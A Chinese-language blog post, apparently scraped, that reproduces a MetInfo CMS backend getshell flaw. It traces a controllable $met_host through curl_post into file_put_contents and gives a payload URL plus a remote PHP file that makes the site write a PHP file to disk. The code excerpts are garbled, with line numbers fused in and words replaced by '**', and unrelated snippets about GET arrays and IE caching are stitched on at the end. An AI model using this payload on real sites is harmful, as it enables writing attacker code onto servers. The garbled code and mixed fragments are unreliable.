Metlnfo cms後台getshell漏洞復現

2022-05-04 04:51:07 字數 1575 閱讀 3482

整體思路

例項:

前言:

開始分析:

1);2

$result=curl_post($post,60);

3if(link_error($result)==1)

如上**所示,第5、6行中的file_put_contents中有兩個引數,如果$results可控那麼可能就可以造成遠端檔案寫入的漏洞。那麼我們追蹤$results,因為$results是在curl_post函式中得到的,所以我們追蹤這個函式。

我將滑鼠放至該函式便可追蹤到其**。有三個檔案。

1 /include/export.func.php

3 install/index.php

第二個跟第三個均未被包含在這個檔案。那麼我們就鎖定在/include/export.func.php檔案當中

1

<?php2 #

metinfo enterprise content management system 3#

4/*傳送post*/5

function curl_post($post,$timeout

)

第7行當中的$met_host並未賦值即為可控(無論是在export.func.php還是在physical.php當中)。$met_file在physical.php當中有進行賦值。(這兩個變數是在export.func.php的第當中7、8有進行定義)

所以得出$met_host可控,而$met_file不可控。

回來看這個漏洞所在的地方。

在122行必須要滿足physical[11] == 1才能執行這個漏洞。那麼看一下如何才能成立。

往physical這個檔案的開頭看去終於找到了。

當action為do的時候等於$physicaldo[11] == 1

所以構造出payload為

首先現在遠端伺服器上新建乙個standard.php

內容為:

1

metinfo23

45<?php

6echo "joseph";

7 ?>89

1011

<?php

12echo "<?php phpinfo();?>";

13 ?>

physical.php?action=do?met_host=127.0.0.1

漏洞還是挺雞肋。不支援遠端寫入也是沒法兒的。 

如何通過Get請求給後台傳遞陣列

位址的如下格式 由上面的位址可以看出所傳遞的陣列就是ids 了,然後就是展示一下後台怎麼接收這個陣列。話不多說上 pullmany public void pullmany requestparam value ids string ids 輸出的結果正是1322455795329273856 和1...

前台傳遞POST與GET請求時,後台接收資料

今天9月30號,距離放假還有一天,划水過程中記錄一下曾經遇到的問題。get請求 在常規理解上來,是跟在位址列後方的眾多變數,在後台接收的時候,我們可以定義乙個包裝物件,或者是直接用引數來接收,或者用map來接收都可以,其中我們可能會用到 requestparam註解來對接收到的資料進行預設賦值,是否...

IE 瀏覽器下 get 請求不走後台

問題 1.有的 ie 下有問題,有的 ie 沒有問題,谷歌瀏覽器的都沒問題 2.url 引數一樣的,結果不一樣,且 有問題的 ie 這個請求不進後台 3.請求方式 get 原因 ie 瀏覽器中當某次的請求和上次的請求 url 和引數一致時,就會直接從瀏覽器快取中取上一次請求返回的結果 如果瀏覽器快取...